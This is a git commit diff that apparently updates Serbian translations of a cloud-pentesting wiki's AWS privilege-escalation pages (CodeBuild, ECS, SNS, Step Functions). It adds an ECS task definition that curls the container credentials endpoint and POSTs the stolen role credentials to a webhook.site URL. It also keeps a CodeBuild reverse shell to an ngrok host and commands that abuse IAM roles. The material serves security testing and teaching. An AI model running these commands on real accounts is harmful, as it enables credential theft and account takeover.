Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-04-30 15:32:01 +00:00
parent a77d7dcb7f
commit 4631c36e2c
7 changed files with 930 additions and 524 deletions

View File

@@ -63,7 +63,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
- `StartBuild` pokreće jedan posao izgradnje koristeći specifični `buildspec.yml`.
- `StartBuildBatch` vam omogućava da pokrenete grupu izgradnji, sa složenijim konfiguracijama (kao što je pokretanje više izgradnji paralelno).
**Potencijalni uticaj:** Direktno privesc na povezane AWS Codebuild uloge.
**Potencijalni uticaj:** Direktno privesc na pridružene AWS Codebuild uloge.
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
@@ -176,11 +176,11 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
> [!WARNING]
> U **Codebuild kontejneru** datoteka `/codebuild/output/tmp/env.sh` sadrži sve env varijable potrebne za pristup **metapodacima akreditiva**.
> Ova datoteka sadrži **env varijablu `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** koja sadrži **URL putanju** za pristup akreditivima. Biće nešto poput ovog `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
> Ova datoteka sadrži **env varijablu `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** koja sadrži **URL putanju** za pristup akreditivima. Biće nešto poput ovoga `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
> Dodajte to u URL **`http://169.254.170.2/`** i moći ćete da izvučete akreditive uloge.
> Dodajte to URL-u **`http://169.254.170.2/`** i moći ćete da preuzmete akreditive uloge.
> Pored toga, takođe sadrži **env varijablu `ECS_CONTAINER_METADATA_URI`** koja sadrži kompletnu URL adresu za dobijanje **informacija o metapodacima kontejnera**.
> Pored toga, takođe sadrži **env varijablu `ECS_CONTAINER_METADATA_URI`** koja sadrži kompletnu URL adresu za dobijanje **metapodataka o kontejneru**.
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
@@ -214,7 +214,7 @@ JSON="{
printf "$JSON" > $REV_PATH
aws codebuild update-project --cli-input-json file://$REV_PATH
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
aws codebuild start-build --project-name codebuild-demo-project
```
@@ -351,13 +351,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
**Uticaj:** Direktno povećanje privilegija na ulozi koju koristi AWS CodeBuild radnik, koja obično ima visoke privilegije.
**Uticaj:** Direktno privesc na ulogu koju koristi AWS CodeBuild radnik koja obično ima visoke privilegije.
> [!WARNING]
> Imajte na umu da se buildspec može očekivati u zip formatu, tako da bi napadač morao da preuzme, raspakuje, izmeni `buildspec.yml` iz root direktorijuma, ponovo zipuje i otpremi
Više detalja može se naći [ovde](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
**Potencijalni Uticaj:** Direktno povećanje privilegija na povezanim AWS Codebuild ulogama.
**Potencijalni Uticaj:** Direktno privesc na pridružene AWS Codebuild uloge.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -13,6 +13,9 @@ Više **informacija o ECS** u:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
Napadač koji zloupotrebljava dozvolu `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` u ECS može **generisati novu definiciju zadatka** sa **malicioznim kontejnerom** koji krade kredencijale metapodataka i **pokrenuti ga**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -32,6 +35,46 @@ aws ecs run-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
{{#endtab }}
{{#tab name="Webhook" }}
Kreirajte webhook sa sajta kao što je webhook.site
```bash
# Create file container-definition.json
[
{
"name": "exfil_creds",
"image": "python:latest",
"entryPoint": ["sh", "-c"],
"command": [
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
]
}
]
# Run task definition, uploading the .json file
aws ecs register-task-definition \
--family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 \
--memory 512 \
--requires-compatibilities FARGATE \
--container-definitions file://container-definition.json
# Check the webhook for a response
# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
{{#endtab }}
{{#endtabs }}
**Potencijalni uticaj:** Direktno privesc na drugu ECS ulogu.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
@@ -80,7 +123,7 @@ aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>
```
**Potencijalni Uticaj:** Direktno privesc na bilo koju ECS ulogu.
**Potencijalni uticaj:** Direktno privesc na bilo koju ECS ulogu.
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
@@ -144,12 +187,12 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Napadač sa **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog kontejnera i eksfiltrirati IAM ulogu koja je povezana sa njim (potrebne su dozvole za opis jer je neophodno pokrenuti `aws ecs execute-command`).\
Napadač sa **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar aktivnog kontejnera i eksfiltrirati IAM ulogu koja je povezana sa njim (potrebne su dozvole za opis jer je neophodno pokrenuti `aws ecs execute-command`).\
Međutim, da bi to uradio, instanca kontejnera mora imati pokrenut **ExecuteCommand agent** (što po defaultu nije slučaj).
Stoga, napadač može pokušati da:
- **Pokuša da izvrši komandu** u svakom pokrenutom kontejneru
- **Pokuša da izvrši komandu** u svakom aktivnom kontejneru
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do

View File

@@ -4,7 +4,7 @@
## SNS
Za više informacija proverite:
Za više informacija pogledajte:
{{#ref}}
../aws-services/aws-sns-enum.md
@@ -12,7 +12,7 @@ Za više informacija proverite:
### `sns:Publish`
Napadač bi mogao poslati zlonamerne ili neželjene poruke na SNS temu, što bi moglo izazvati oštećenje podataka, pokrenuti neželjene akcije ili iscrpiti resurse.
Napadač bi mogao poslati zlonamerne ili neželjene poruke na SNS temu, što bi moglo izazvati oštećenje podataka, pokretanje neželjenih akcija ili iscrpljivanje resursa.
```bash
aws sns publish --topic-arn <value> --message <value>
```
@@ -28,7 +28,7 @@ aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
### `sns:AddPermission`
Napadač bi mogao dodeliti neovlašćenim korisnicima ili uslugama pristup SNS temi, potencijalno dobijajući dodatne dozvole.
Napadač bi mogao da dodeli neovlašćenim korisnicima ili uslugama pristup SNS temi, potencijalno dobijajući dodatne dozvole.
```css
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
```

View File

@@ -14,7 +14,7 @@ Za više informacija o ovoj AWS usluzi, proverite:
Ove tehnike eskalacije privilegija će zahtevati korišćenje nekih AWS step function resursa kako bi se izvršile željene akcije eskalacije privilegija.
Da biste proverili sve moguće akcije, možete otići na svoj AWS nalog, odabrati akciju koju želite da koristite i videti parametre koje koristi, kao u:
Da biste proverili sve moguće akcije, možete otići na svoj AWS nalog, izabrati akciju koju želite da koristite i videti parametre koje koristi, kao u:
<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
@@ -25,11 +25,11 @@ Ili možete otići na API AWS dokumentaciju i proveriti dokumentaciju za svaku a
### `states:TestState` & `iam:PassRole`
Napadač sa **`states:TestState`** & **`iam:PassRole`** dozvolama može testirati bilo koju državu i proslediti bilo koju IAM ulogu bez kreiranja ili ažuriranja postojeće mašine stanja, omogućavajući neovlašćen pristup drugim AWS uslugama sa dozvolama uloga. U kombinaciji, ove dozvole mogu dovesti do opsežnih neovlašćenih akcija, od manipulacije radnim tokovima do izmene podataka, do curenja podataka, manipulacije resursima i eskalacije privilegija.
Napadač sa **`states:TestState`** & **`iam:PassRole`** dozvolama može testirati bilo koju državu i proslediti bilo koju IAM ulogu bez kreiranja ili ažuriranja postojeće mašine stanja, potencijalno omogućavajući neovlašćen pristup drugim AWS uslugama sa dozvolama uloga. U kombinaciji, ove dozvole mogu dovesti do opsežnih neovlašćenih akcija, od manipulacije radnim tokovima do izmene podataka, do curenja podataka, manipulacije resursima i eskalacije privilegija.
```bash
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
```
Sledeći primeri pokazuju kako testirati stanje koje kreira pristupni ključ za **`admin`** korisnika koristeći ove dozvole i permisivnu ulogu AWS okruženja. Ova permisivna uloga bi trebala imati neku visoko privilegovanu politiku povezanu sa njom (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava stanju da izvrši **`iam:CreateAccessKey`** akciju:
Sledeći primeri pokazuju kako testirati stanje koje kreira pristupni ključ za korisnika **`admin`** koristeći ove dozvole i permisivnu ulogu AWS okruženja. Ova permisivna uloga bi trebala imati neku politiku sa visokim privilegijama povezanu sa njom (na primer **`arn:aws:iam::aws:policy/AdministratorAccess`**) koja omogućava stanju da izvrši akciju **`iam:CreateAccessKey`**:
- **stateDefinition.json**:
```json
@@ -132,18 +132,18 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
}
```
> [!WARNING]
> S3 bucket pod kontrolom napadača treba da ima dozvole da prihvati s3:PutObject akciju iz naloga žrtve.
> Napadačeva S3 kofa treba da ima dozvole da prihvati akciju s3:PutObject iz naloga žrtve.
**Potencijalni uticaj**: Neovlašćena izvršenja i manipulacija radnim tokovima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta.
**Potencijalni uticaj**: Neovlašćeno izvršavanje i manipulacija radnim tokovima i pristup osetljivim resursima, što može dovesti do značajnih bezbednosnih propusta.
### `states:UpdateStateMachine` & (ne uvek potrebno) `iam:PassRole`
Napadač sa **`states:UpdateStateMachine`** dozvolom mogao bi da izmeni definiciju mašine stanja, dodajući dodatne stealth stanja koja bi mogla dovesti do eskalacije privilegija. Na ovaj način, kada legitimni korisnik pokrene izvršenje mašine stanja, ovo novo zlonamerno stealth stanje će biti izvršeno i eskalacija privilegija će biti uspešna.
Napadač sa dozvolom **`states:UpdateStateMachine`** mogao bi da izmeni definiciju mašine stanja, dodajući dodatne neprimetne state-ove koji bi mogli dovesti do eskalacije privilegija. Na ovaj način, kada legitimni korisnik pokrene izvršenje mašine stanja, ovaj novi zlonamerni neprimetni state će biti izvršen i eskalacija privilegija će biti uspešna.
U zavisnosti od toga koliko je permisivna IAM uloga povezana sa mašinom stanja, napadač bi se suočio sa 2 situacije:
U zavisnosti od toga koliko je IAM uloga povezana sa mašinom stanja permisivna, napadač bi se suočio sa 2 situacije:
1. **Permisivna IAM uloga**: Ako je IAM uloga povezana sa mašinom stanja već permisivna (na primer, ima priloženu **`arn:aws:iam::aws:policy/AdministratorAccess`** politiku), tada **`iam:PassRole`** dozvola ne bi bila potrebna za eskalaciju privilegija, pošto ne bi bilo potrebno takođe ažurirati IAM ulogu, sa definicijom mašine stanja je dovoljno.
2. **Nepremisivna IAM uloga**: U suprotnosti sa prethodnim slučajem, ovde bi napadač takođe zahtevao **`iam:PassRole`** dozvolu pošto bi bilo neophodno povezati permisivnu IAM ulogu sa mašinom stanja pored izmene definicije mašine stanja.
1. **Permisivna IAM uloga**: Ako je IAM uloga povezana sa mašinom stanja već permisivna (na primer, ima priloženu politiku **`arn:aws:iam::aws:policy/AdministratorAccess`**), tada dozvola **`iam:PassRole`** ne bi bila potrebna za eskalaciju privilegija, pošto ne bi bilo potrebno takođe ažurirati IAM ulogu, sa definicijom mašine stanja je dovoljno.
2. **Nepremisivna IAM uloga**: U suprotnosti sa prethodnim slučajem, ovde bi napadač takođe zahtevao dozvolu **`iam:PassRole`** pošto bi bilo neophodno povezati permisivnu IAM ulogu sa mašinom stanja pored izmene definicije mašine stanja.
```bash
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
@@ -151,7 +151,7 @@ aws states update-state-machine --state-machine-arn <value> [--definition <value
Sledeći primeri pokazuju kako ažurirati legitimnu mašinu stanja koja samo poziva HelloWorld Lambda funkciju, kako bi se dodalo dodatno stanje koje dodaje korisnika **`unprivilegedUser`** u **`administrator`** IAM grupu. Na ovaj način, kada legitimni korisnik pokrene izvršenje ažurirane mašine stanja, ovo novo zlonamerno stealth stanje će biti izvršeno i eskalacija privilegija će biti uspešna.
> [!WARNING]
> Ako mašina stanja nema povezanu permisivnu IAM ulogu, takođe bi bila potrebna dozvola **`iam:PassRole`** za ažuriranje IAM uloge kako bi se povezala permisivna IAM uloga (na primer, jedna sa **`arn:aws:iam::aws:policy/AdministratorAccess`** politikom priloženom).
> Ako mašina stanja nema povezanu permisivnu IAM ulogu, takođe će biti potrebna dozvola **`iam:PassRole`** za ažuriranje IAM uloge kako bi se povezala permisivna IAM uloga (na primer, jedna sa **`arn:aws:iam::aws:policy/AdministratorAccess`** politikom priloženom).
{{#tabs }}
{{#tab name="Legit State Machine" }}
@@ -181,7 +181,7 @@ Sledeći primeri pokazuju kako ažurirati legitimnu mašinu stanja koja samo poz
```
{{#endtab }}
{{#tab name="Zlonamerna ažurirana stanja mašine" }}
{{#tab name="Malicious Updated State Machine" }}
```json
{
"Comment": "Hello world from Lambda state machine",